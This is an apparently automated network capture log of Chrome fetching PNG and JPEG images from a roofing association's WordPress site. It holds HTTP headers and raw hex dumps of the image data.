4e 21 bb fb fe ef 6f 3d 33 b2 8d cf 98 53 43 da ef 6b 9b 26 c4 f8 6c bd cc 68 0e b3 37 08 82 20 08 82 ee aa 19 4e 01 04 41 10 04 01 b6 10 04 Data Ascii: PNGIHDRlU`PLTEyk}u}~^Tg`jdTO]PlihBBdaaEDqXR+;!355),a=:JFF"$t~tlI*&'>hBIDATxz<nTjN!o=3SCk&lh7 NA
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: b1 90 5a b9 b2 81 5f b0 61 8f 21 c9 5c e1 62 7f 28 dd cb ef 47 2f 73 09 5b f2 31 93 69 1b aa 61 d8 07 b2 6c 4d d3 97 ab 7b 9f 3e d3 f8 64 58 78 9f b2 e4 8c 95 4c da cc 84 7d ad 31 ff 8c 41 a5 ee 31 f2 ed a7 b1 1e 27 d1 70 6b bb 37 3d f5 69 9c b0 67 77 80 ed f0 61 01 b6 67 0d 4b 77 bd 7c 0f 0c db db de 40 03 fe 82 b7 f0 2c 15 c1 58 7f 1c b6 b7 78 bc ff 69 d8 6a 29 52 ea 50 1b 27 42 97 f6 6b 3d 9c 98 cb 44 69 eb 0a d7 31 a3 57 cb b8 16 61 ac a2 45 19 8e 6c 9d 57 8d 34 db 3a 6d a3 34 db 7b da 80 a6 76 07 05 6c 7d c0 ed 9e 2b 5a 70 01 64 ee 22 bf 7f af 6c da 0a b6 7b 82 6d c8 c1 2d ea 49 ed 73 7f 4c b9 fd f0 da c8 51 eb 16 8c fa 9c 2e 69 d3 0a 4d da 0b 9c 5e c9 a4 cd 4c d9 d7 53 33 bd 03 83 8a 1d 9a b9 51 6f 6f c9 80 33 49 bc bd c9 89 4f 63 74 e1 1c f4 b5 63 Data Ascii: Z_a!\b(G/s[1ialM{>dXxL}1A1'pk7=igwagKw\|@,Xxij)RP'Bk=Di1WaElW4:m4{vl}+Zpd"l{m-IsLQ.iM^LS3Qoo3IOctc
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: c3 0f a1 19 41 59 c3 31 d4 65 cc d8 5e f5 bf 68 66 b6 72 1b 53 d4 94 4e a9 c2 b2 51 69 22 d2 50 1a 92 12 7c b8 4a 24 f5 39 a0 96 f4 8a fe 19 c5 e5 21 33 bf cf 9d e3 fa 15 14 29 cd 95 ad b8 13 20 4d dc 3a 1f 8a 59 28 6a 52 64 3e 3e 1a 79 8c 82 4d c3 2c b1 45 1b 5a dd 19 a8 4e af 64 fa 66 06 56 6a 7b 63 3a 1a 03 a3 ef 5f bd ec 84 70 14 2b 6c 2d 57 cd 0b ba d1 a8 2f 75 c1 9e 5d a5 73 0f 2b 3c c1 05 20 68 60 91 ba 66 67 f9 b7 37 4e 54 d4 fc 82 3e d6 cf 94 03 f9 58 05 6d 35 15 ed d1 49 ff 81 0d 6d ad b3 eb aa 6b a1 24 cd 41 a9 3a 88 de fd d1 6d 9b 26 f2 8d 33 22 7b 57 7e 83 1b ab ff 9c b5 86 58 fb 66 a2 56 74 43 cf 29 98 f7 5e ca 0b 8f 2c 9d 30 21 73 d1 0d 54 de ff 54 38 a2 2c d7 94 f4 ba dc 7b 97 90 fd cf 41 cf 45 9d 76 8f 24 e7 cf 43 5d fc 78 9f be 18 d3 ef Data Ascii: AY1e^hfrSNQi"P\|J$9!3) M:Y(jRd>>yM,EZNdfVj{c:_p+l-W/u]s+< h`fg7NT>Xm5Imk$A:m&3"{W~XfVtC)^,0!sTT8,{AEv$C]x
2024-04-23 14:53:52 UTC	2831	IN	Data Raw: 06 60 fb cf c2 76 42 98 53 3b b3 f6 34 44 b7 b7 b2 6c e1 46 fe ab 61 3b 4f 6c dd 44 9d 02 db b9 ac a7 97 98 64 3e 0d b6 75 03 2e 3d 0e fd c5 98 18 35 51 60 1b 4d fc 84 ed df 60 47 e6 3c d8 4e 5d 71 2f 6c 33 dd 87 38 d5 eb 02 48 c7 6a 23 b7 77 7b ec 44 4d 81 ad 1a 6a 16 38 74 b4 bd 97 79 f8 82 74 8e b4 b9 a8 95 f3 1b c2 56 76 61 3b b6 bd da 67 8a b4 69 e8 bb 39 60 fb 8f c3 76 18 9b 3d e5 2a b6 d3 3d c8 d7 38 99 61 d9 fe 4b b0 9d cf 65 08 2a 36 ba 13 77 3b 58 5a 48 16 61 a0 5a 47 63 c6 5d 0b 6e 22 6c 48 f3 02 69 67 d6 53 17 c1 cd 59 73 ad c5 5b 6d cf 06 fb 8e e5 2c d8 4e 5c 71 07 b6 5e 6b d1 6f 4f aa 06 af 6c 68 61 1e 8d d6 46 6e ef f6 d8 89 9a 02 db 68 d8 27 de 7f b4 43 97 79 e0 82 f4 15 c8 28 17 35 3a e9 33 4c 2f 87 6d 3b 9d f9 c4 f6 ba 55 2e 9a 85 32 01 Data Ascii: `vBS;4DlFa;OlDd>u.=5Q`M`G<N]q/l38Hj#w{DMj8tytVva;gi9`v==8aKe6w;XZHaZGc]n"lHigSYs[m,N\q^koOlhaFnh'Cy(5:3L/m;U.2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49837	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:52 UTC	679	OUT	GET /wp-content/uploads/2018/04/3-tab_Phone.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:52 UTC	521	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:52 GMT Content-Type: image/png Content-Length: 1339120 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 15:00:20 GMT ETag: "1dc11df-146ef0-5d9f296de0900" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:52 UTC	7671	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0b d0 00 00 0f c0 04 03 00 00 00 52 35 07 71 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 30 50 4c 54 45 de c6 a7 b3 cd ed d4 bc 9f c4 ad 93 b9 a2 8b a3 9c a0 7e 96 b6 c3 75 5d 72 8a a9 69 81 9e b0 65 51 8b 73 63 93 53 3f 68 44 36 2d 1d 19 14 10 13 30 52 c5 de 00 14 6e 49 49 44 41 54 78 da ec 9d 09 72 23 c9 0e 43 19 3c 09 22 ef 7f c8 09 57 92 00 58 2a d9 f2 be f4 cc 5f a6 db 6d 49 a5 92 9b 99 09 82 0f 11 3f e7 9f cc fc cc 27 ff 82 77 80 ef 7f 85 fc 92 8f 0a 8f dc 5d 7d 13 de 7e 63 60 8f cd 7c f0 47 04 f6 e0 fc 88 1f ab a7 8b 40 5d ca 78 33 19 fa 5a 1e 3f c1 f0 7f f6 ef ee 3c e1 0b 77 75 3f Data Ascii: PNGIHDRR5qpHYs+gAMAasRGB0PLTE~u]rieQscS?hD6-0RnIIDATxr#C<"WX*_mI?'w]}~c`\|G@]x3Z?<wu?
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 42 16 03 9f 52 be f0 62 59 f9 ab ab 40 3e 5e 92 5e 95 1b 8e df b1 52 e1 14 f9 9a 27 a5 fc 5e d3 3c df be 24 79 8a 14 10 57 fa 05 ce 9c 03 93 d8 1f 58 e2 f2 f4 89 d1 2e e8 fc b0 b8 f1 f8 84 c3 dc 6e 57 bd 29 65 39 11 48 ea b2 ab dd d3 bc a4 80 29 d8 11 c3 ce 53 69 a1 54 24 cc c3 76 ee 72 de 9c 94 24 33 62 ea cb d1 1a bc 36 e2 91 a9 f5 85 cd 56 eb 53 3b 67 b2 c7 a0 34 72 20 34 bc 7d 46 dd a8 65 dc a1 46 55 85 8e dc 93 5b db 09 53 8b 0b b5 1d 8b 36 f4 dd 7e cd ae ee 6d fb 98 ed c5 98 ba 2d dd a6 96 bd 7d b9 bd 73 a6 68 1f 3d f5 1a 2d 9a 1c 55 3d 2a 60 64 d5 8a 51 94 9c 6e 41 cb d9 de 81 54 8d 3e a8 0d 7d 4d a4 95 e2 df 9b f8 e0 70 d4 66 55 6e 0d 7e 11 34 5f 96 9e 45 2f 4f cd ce 32 49 b0 0c 9f eb 8b 8b 5d be 5b e0 f8 d6 25 02 5f bd 30 7c ff d5 be 82 0e 91 67 Data Ascii: BRbY@>^^R'^<$yWX.nW)e9H)SiT$vr$3b6VS;g4r 4}FeFU[S6~m-}sh=-U=*`dQnAT>}MpfUn~4_E/O2I][%_0\|g
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: fb 02 e2 c5 28 05 dc 30 cf 6c 9e 09 96 19 7b ea bf f6 b4 69 dc e2 06 cc d9 98 e7 a1 b2 5b 14 ce 34 f7 c8 4d 3e a3 bf d1 1b f3 26 d6 ab f0 05 0c d4 58 26 93 ea 5c 32 ed 4f ae 1b c9 f0 d0 a6 ba 20 68 bd 24 8d 63 8e 18 09 a2 ab 99 3d 72 ec f2 c3 3a 85 61 c9 d9 31 bd 31 91 3e d9 3a 84 fc f1 b4 47 bd 0b ed c1 8f ea 1d 31 1c 38 e5 b1 61 42 6d 30 69 0b bd 2f 16 66 27 0c 53 bc 16 85 70 7b fe f3 12 e2 cd e4 65 66 1f cf 22 41 b7 5c 3b f9 b5 77 fa ec ad 76 87 74 89 4b 53 be f9 b5 e8 8b 4f a2 8f 3b 82 b0 8a 75 77 70 17 93 06 9f f8 0a fd 6c 8b 61 b1 1d 6a 7b a4 91 97 ac 5f b3 52 4d 2d be 46 3f fd ff cf eb 85 85 7f e8 64 93 71 65 40 c4 4f ed bc 5e 9f 32 6e 8d b5 27 f1 e3 e2 2d a5 24 99 b3 66 7e 27 94 10 d7 5b 02 8f 19 ef 96 67 86 70 31 36 c9 6a d5 57 3b 5a 7a 2b 33 30 Data Ascii: (0l{i[4M>&X&\2O h$c=r:a11>:G18aBm0i/f'Sp{ef"A\;wvtKSO;uwplaj{_RM-F?dqe@O^2n'-$f~'[gp16jW;Zz+30
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: bc d0 61 ef 4c 05 7e 70 13 ee b6 52 4e b3 b2 2f 01 4b 18 f7 51 e0 e4 f0 56 4d 74 b6 36 d6 7c 03 c9 43 e4 fb c4 e8 9b c6 c0 93 41 87 9c f6 67 fa f0 94 40 9b f6 6b 9c 86 56 59 8f 51 a1 54 cb 5b 00 87 82 7d 9e c8 3a 96 04 a6 92 af b3 a5 a7 85 ff 62 c0 7b 77 b8 7d 34 db 0e b3 7d 49 6a 02 17 43 61 6f f0 c9 49 58 d1 b9 dd 02 ae 55 2f 36 1b d7 00 3b 3c 6c 4d 3e 38 e9 5b 01 52 7b 25 6b e7 65 d1 35 f7 6e 3f 6b 1c 78 ad f5 81 35 2a 9f fd f2 1f 97 3e fe d5 b9 00 7c f5 82 64 34 f4 1c 59 52 2f 28 87 99 67 49 85 a3 55 b8 69 f8 0a d3 c5 98 ed 31 27 8b d1 cc 14 7e c0 91 03 a1 5e aa c2 5a 1a 08 d6 93 98 61 31 4b 64 71 19 9e 8c de 72 39 d6 59 7e c5 75 17 de 00 a2 5b 36 46 32 c3 82 4b 3c a3 43 76 1b 5b 19 2a 03 2a b4 59 d7 05 71 18 80 f7 c5 ba ae d1 9e 1b 4e 6a a9 82 7a a0 Data Ascii: aL~pRN/KQVMt6\|CAg@kVYQT[}:b{w}4}IjCaoIXU/6;<lM>8[R{%ke5n?kx5>\|d4YR/(gIUi1'~^Za1Kdqr9Y~u[6F2K<Cv[*YqNjz
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 93 4c 3f e9 94 59 d8 86 b0 76 a3 14 27 a8 67 a0 50 14 b2 74 7a 28 b9 d7 cd d4 11 a0 14 72 fb 28 5a b3 67 25 6f c7 91 37 ef 1a 95 5a 79 bd fe 1f 5b c2 29 6d a5 16 9a 16 d1 68 63 90 0b d6 fc 39 ff 8d 3c c0 39 56 d2 17 63 a2 92 04 b8 a6 0d 2b f4 af a6 a7 04 e7 0c 64 c3 a2 e3 46 c7 c1 ea 2d db 02 10 f3 5c 60 a4 f8 45 dd d9 2f c2 7c 94 fd 05 cd b4 17 01 67 b5 df fe b2 1c fb 91 a5 f2 03 0a 02 7e e7 c1 93 df f3 b2 be f8 e9 f1 d6 a7 c3 4d 2b e5 ed 33 0b 57 43 54 39 17 19 bf c4 b2 8f 2b fa 41 de f8 7a f6 c2 9e 8b 9d a9 c9 e3 0c 39 c1 2c f3 26 02 cd 8b 43 cc 65 db 90 20 a2 e7 98 a6 14 b6 ed 95 7b 6d 19 b3 a6 af 84 4d 9e a1 58 93 f4 7b 99 a4 53 55 6c 04 a5 99 0b 5f 60 93 6e 6f df b7 05 dc 68 36 49 7d cd 3e 65 5e 14 93 6b db e6 34 53 9d 6a 37 6a 0d e4 c1 f0 e0 5c da Data Ascii: L?Yv'gPtz(r(Zg%o7Zy[)mhc9<9Vc+dF-\`E/\|g~M+3WCT9+Az9,&Ce {mMX{SUl_`noh6I}>e^k4Sj7j\
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 45 ca 4c d7 90 a0 f5 a3 e6 84 85 a8 09 1c 6d 64 4c bf 3c f5 7f a6 44 8d e1 44 d4 7c 33 52 f9 4b 24 e5 ab 2d 6e 71 48 99 b3 10 00 98 ef ec 40 9e 65 6f cd 76 f2 ea 62 82 f7 1a c8 63 29 5c 41 67 8e d6 68 35 c0 ad 30 a7 b2 52 76 43 2d 8d c5 01 69 3d 84 ad 82 ba e0 d6 d0 de 49 8a 29 e1 98 7a 4e fa 4d 84 c8 09 ab 7a 70 06 54 f5 3e 6d 7b 67 ea e1 bb 46 ef c8 f3 e8 2f 64 66 20 11 f8 7d 55 ca dd 5a ed ca b9 2c 5b ec 9d d8 4d e8 f9 f4 16 f7 6f e9 f4 61 f2 cf d5 c7 9a ef 9d 00 3f e4 fb fa c2 d7 c1 c7 85 21 8c 80 28 df be c4 b3 57 8f 43 00 8a 01 37 63 f7 68 5c 4b e1 dd 4d be 71 ae 0e ee a0 e1 f9 8d cc db 23 02 cb 22 d4 ef a9 cd 03 63 f0 7c e1 3f 04 9d 24 62 c7 83 8b 37 ed 46 b7 fd 2e 30 74 0a dc 98 6d c0 4e d2 93 c3 c1 40 8b fb 23 ef c3 d0 99 0a 2e e4 16 53 28 f3 23 Data Ascii: ELmdL<DD\|3RK$-nqH@eovbc)\Agh50RvC-i=I)zNMzpT>m{gF/df }UZ,[Moa?!(WC7ch\KMq#"c\|?$b7F.0tmN@#.S(#
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: c7 dd 70 eb 7d a6 26 bd 9a bd c2 91 36 22 cf 6b 22 d0 ca 0c 3c f6 8f a0 84 e6 e7 46 73 0a e8 11 d5 a2 54 d7 f9 76 66 86 32 54 38 d4 75 4c 71 cf 91 d3 8c 96 16 22 65 9c 85 04 ad 41 8e 3d 08 b6 c9 95 b6 44 4b 7d 9a 9d 65 7f 35 e6 dd 83 6c 88 ba 05 59 2a c9 d5 92 ef bd a9 12 c7 c3 05 97 0e 94 aa 7b 01 8d 58 1b 35 bc a4 a9 5b f5 5f b2 6b f6 d5 f0 ea 29 b6 27 57 64 d7 4e 49 d9 91 22 8d b7 2c 6b 4e b2 b4 47 ad ef 6e 15 67 af 4f 15 0b e7 73 aa 1b de 50 09 6e 6c 96 ff 59 57 fe ed 9b ad 17 ef f0 e1 fc aa 7c 05 70 83 35 17 0e a3 c9 d1 26 f7 c8 54 1d 7d 0e 0b ce fd 9f dc 15 07 61 a1 c1 91 1d e7 91 33 44 2a b5 ea a4 05 a8 17 c7 be f8 ce 95 01 c5 f8 c2 02 06 63 f2 18 92 be f8 90 6c ae f4 3f d7 6a cc e4 3e 42 a2 c2 80 36 a5 d0 8f 3c 3f 6b c9 21 cf cd 62 be 93 25 f7 81 Data Ascii: p}&6"k"<FsTvf2T8uLq"eA=DK}e5lY{X5[_k)'WdNI",kNGngOsPnlYW\|p5&T}a3Dcl?j>B6<?k!b%
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 80 13 ca ec 74 92 37 a7 97 b7 2e db 42 dc b5 e5 dc 78 cc 70 ab f7 3f 4b f2 ee 9c d7 d4 e4 e9 43 bf 6c 21 0d 51 7f 22 6c 96 fb 2c a7 a4 9f 0d 69 ee 48 28 3b 45 5a a0 c9 34 84 31 0d 3c 7d 28 c0 10 36 ab 54 f9 02 59 6e 84 c2 ae e4 c1 4d 80 ae dc f5 26 2a 54 30 4d bb bf 7c 65 ac b6 d4 b7 1d e9 2d bf 6d 9f 6a 96 fb ad 67 c6 e7 74 b2 1f 6f 71 79 f6 27 05 c4 9c 7c a5 8a 96 b8 ab 2a bd d8 d9 7f c5 39 e3 12 d5 cd 2c 90 ab b8 71 bb 08 b8 bd 25 e5 d1 1c f8 19 36 bd 32 2b 8d 93 43 10 64 31 86 f5 05 3a 5d d4 ce 65 cb 1f f6 17 25 ba a8 2c 77 36 5f 97 eb cc e1 c6 07 e1 c9 60 ed b6 9d 59 bb d3 48 8e 26 3c ff b6 9b 6e 99 55 c3 75 9b 5a 1d c8 e4 4b 37 ce 20 15 5a 88 d0 8a 6b ad be ca a8 a9 71 00 59 f7 35 87 75 59 5e ea 7e 3a c4 78 3f e3 e2 a4 77 61 b8 71 26 33 39 e9 b0 69 Data Ascii: t7.Bxp?KCl!Q"l,iH(;EZ41<}(6TYnM&T0M\|e-mjgtoqy'\|9,q%62+Cd1:]e%,w6_`YH&<nUuZK7 ZkqY5uY^~:x?waq&39i
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: c5 7d f6 56 2b a5 e7 d4 f3 73 89 e5 45 b4 98 3a 5e 43 fe a7 55 bf d4 c1 24 df 0c b3 ae e3 c6 21 a7 50 a3 2d 86 97 b0 15 50 f2 7e 82 17 66 24 32 10 22 d9 7c 00 33 d3 c7 6d a5 ef 68 01 ad 50 56 37 08 9b 81 8d ad 27 2b 91 cf a0 ee b1 34 f6 05 f3 7c 58 60 54 90 94 63 e7 89 92 a5 de 84 9b 6e 53 ba ce 64 cd 52 e2 dd 39 ea 1b 36 ab d5 b7 b8 46 14 b9 8f c3 42 42 ef b5 8e 79 21 c0 e9 b4 9e 84 f0 10 32 10 fa cc b2 92 58 b2 6a 2e 5a 6a 58 6a d9 14 94 37 0a d6 5e 42 96 c6 6b f7 14 ed b6 62 ae a6 33 6c 0f 3e 12 6d 57 fe 4c 7f e5 5b eb c9 43 96 79 9c a0 5e f7 cc ea 63 5e 9c 22 f2 3d af d6 92 7c 11 b0 99 17 61 86 88 bf ad 27 60 1e d2 ba 89 d9 75 ee 5c 18 cb 26 cf 48 34 b3 93 72 f8 28 ad 0d eb 53 b0 e5 9e 78 c2 ce e4 b1 1c 49 27 18 f2 f5 e9 d5 62 93 39 6d b8 a9 4a 86 1a Data Ascii: }V+sE:^CU$!P-P~f$2"\|3mhPV7'+4\|X`TcnSdR96FBBy!2Xj.ZjXj7^Bkb3l>mWL[Cy^c^"=\|a'`u\&H4r(SxI'b9mJ
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: c1 dd 54 0c 0c 4e 4e a6 7c de d3 7a d0 1d c8 cb 1b d3 6d 58 94 87 27 95 50 61 a1 d7 bc c2 a3 3a 42 00 62 e5 14 ba 07 a7 e6 d2 a6 76 ec 58 04 53 b9 57 69 5d 06 05 8f 08 40 8c 40 f1 0c 4b 87 55 a0 e0 99 15 1c db 7a e8 14 84 d2 cc 15 b0 96 21 bd 24 dc 29 5f 13 61 d3 bd 00 d5 dc 74 e9 66 b7 67 73 20 6a ec 11 c3 d7 01 ec d7 c5 46 f0 e5 65 64 91 f4 59 81 32 0c 3c 47 4a 2d 14 83 18 e9 82 94 65 12 c7 80 e2 de 3d d9 e0 5d 44 9e b5 0f 67 01 53 cf 44 f3 85 8e ed 71 63 f1 aa 70 9c af d2 d9 bf e9 61 3f b7 98 3e 96 af 4f 7b a9 ea 63 17 8e fb 8b 81 b2 b4 eb ae 6e 93 e3 34 90 37 7f 65 b9 23 75 d9 a5 bd b8 b4 45 41 11 fd 95 e1 d4 49 45 3c 9d 40 96 08 0c 49 7a 2e 8b 56 f8 1c a1 2c 9e ff 64 3f cf a5 c0 9e d5 20 d9 f3 ac 60 5a 4e 6f 81 85 d5 49 a3 37 60 a5 61 f6 38 3a 05 9c Data Ascii: TNN\|zmX'Pa:BbvXSWi]@@KUz!$)_atfgs jFedY2<GJ-e=]DgSDqcpa?>O{cn47e#uEAIE<@Iz.V,d? `ZNoI7`a8:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49838	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:52 UTC	701	OUT	GET /wp-content/uploads/2018/02/museum-of-the-american-revolution.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:52 UTC	520	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:52 GMT Content-Type: image/jpeg Content-Length: 885375 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 15:02:03 GMT ETag: "1d81eee-d827f-5d9f29d01b0c0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:52 UTC	7672	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 10 0b 0c 0e 0c 0a 10 0e 0d 0e 12 11 10 13 18 28 1a 18 16 16 18 31 23 25 1d 28 3a 33 3d 3c 39 33 38 37 40 48 5c 4e 40 44 57 45 37 38 50 6d 51 57 5f 62 67 68 67 3e 4d 71 79 70 64 78 5c 65 67 63 01 11 12 12 18 15 18 2f 1a 1a 2f 63 42 38 42 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 ff c2 00 11 08 0b b8 0f a0 03 01 22 00 02 11 01 03 11 01 ff c4 00 32 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 e6 26 75 c7 31 5d 01 32 4b ac 84 ca 15 94 93 ae Data Ascii: JFIF(1#%(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc//cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc"2&u1]2K
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: ab 6f 36 3d 5a 64 ce ae aa 22 5f 6f 3b 4d f1 96 52 ae 37 66 e6 b8 b3 53 4d 2e bc 6a 59 ec cf 64 14 a5 d2 28 4a a1 4e 75 54 a9 21 64 a7 4c 6a db 65 5c 6a 6d 6b 52 95 51 ad 2b 3a 8d 0f 22 36 47 24 4d a6 18 9d 25 ce 89 d1 39 c8 e9 2e 78 6e 58 45 db 1c 82 6b 8e 76 5e 67 66 95 9c 34 2c ec b6 79 64 69 79 43 51 9d 97 aa 11 a1 e6 0d 05 08 bd d2 17 14 8b 71 52 2d 74 85 ce 80 bc a5 17 aa 44 bc a0 5b ca 91 7a a4 4b 4a 45 ba 35 84 84 a2 42 28 4d 23 40 ba 74 e2 d6 9a 12 76 00 c0 1a a1 bb 22 49 2a 18 91 13 95 a7 15 a8 68 b4 04 93 8c 85 55 b5 05 94 da 36 81 c6 48 85 95 cc 8d 57 54 59 3a ac 1c a1 21 90 69 22 b6 b6 11 0c 14 6f aa 32 ad b4 4b 48 49 36 fa bf 1d ed 3b 62 a2 66 b3 5a b5 55 70 be 10 cb 0a ad d8 d2 b7 20 83 98 40 98 45 b0 84 9b 1a 41 02 41 18 cd ad 6a c5 11 72 Data Ascii: o6=Zd"_o;MR7fSM.jYd(JNuT!dLje\jmkRQ+:"6G$M%9.xnXEkv^gf4,ydiyCQqR-tD[zKJE5B(M#@tv"I*hU6HWTY:!i"o2KHI6;bfZUp @EAAjr
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: ae 54 37 38 c1 7d 99 aa ca ae cd 21 d5 a3 3c be b6 1e 5b 57 34 b3 59 9b 4d 96 46 ce 76 7c 7e 96 4d 4a 7a 54 ce 24 aa 86 5b 96 66 68 8c 64 b9 2b d1 46 e6 8d 39 67 1a 1e 69 e6 d5 2a 8a ba 10 56 55 4e a5 a6 26 2d 47 3a a6 af b5 c5 ec d6 3d b9 27 d3 35 ec e7 df 64 74 f3 75 4b 87 6e 3d a4 6d e7 74 2a 27 33 a6 4a bc 9a d2 ca 63 7e 6c b1 df 1c da a3 65 39 b7 a5 22 7a 32 5b a2 84 a3 bc 83 95 56 ec 89 16 44 93 aa 25 d1 80 b2 80 92 23 14 1c 72 d5 83 66 0c ea dc ba 69 48 00 83 6c 22 d0 87 22 05 88 82 9c 45 25 32 0a 48 13 41 28 32 42 90 26 11 04 37 16 49 a2 12 6c bf 6e 3d f8 bc c6 ae aa 2a 71 d4 72 8c 8b 21 06 5f 0a dd 59 65 12 23 06 81 a8 92 70 09 38 c8 8b 83 09 c0 1b 88 49 a4 39 d6 46 ec d0 2b 44 f2 ab 77 e4 50 2e f5 5e 3f 59 6c 71 84 e7 49 13 8c 51 6e 8c 52 4d 79 Data Ascii: T78}!<[W4YMFv\|~MJzT$[fhd+F9giVUN&-G:='5dtuKn=mt'3Jc~le9"z2[VD%#rfiHl""E%2HA(2B&7Iln=*qr!_Ye#p8I9F+DwP.^?YlqIQnRMy
2024-04-23 14:53:52 UTC	8192	IN	Data Raw: 6e 9f 99 b1 af 4d 8b 97 35 d0 64 d7 65 f5 cd 1c b7 15 65 b7 e3 55 b4 c2 93 6c f9 9d 03 3a 9d 72 8d 35 88 dd cd 53 4c b9 d3 a8 ca 09 58 88 95 aa cb 20 4c a5 97 6e 39 62 35 06 8c f6 96 ba 61 65 b4 82 df 2c c1 75 40 29 41 9a cc f2 b2 ea 25 15 4e 24 6c 84 65 51 a7 56 78 8c a2 d7 55 37 3b 9c ab 66 69 61 28 8b b3 0e c6 cf 3e cd 35 11 13 5d 78 f4 23 33 be 04 58 4a 80 86 22 a2 ac d5 66 28 74 65 65 78 f7 62 96 ed 58 b6 d5 cd 48 4c 2c ce 5e 14 4e 61 61 09 0d 49 15 b0 55 09 c0 85 f9 af 46 e3 28 69 a2 a6 05 b1 94 6d 13 51 18 4e 05 b5 5d 50 b4 e4 d4 38 b8 8e 31 8a 58 f2 58 68 42 5a b2 ea c4 91 b2 ab 8a c4 a6 b6 75 bc f6 b3 aa b9 8c ea 3e 4c d2 8a 25 0d 46 ec d5 15 5d 6d f2 b6 0b 16 21 b4 c6 9c 41 4a 03 06 00 19 f2 74 39 06 ba a9 41 3a cd 66 c8 5d 4d 04 54 68 9e 39 4b Data Ascii: nM5deeUl:r5SLX Ln9b5ae,u@)A%N$leQVxU7;fia(>5]x#3XJ"f(teexbXHL,^NaaIUF(imQN]P81XXhBZu>L%F]m!AJt9A:f]MTh9K
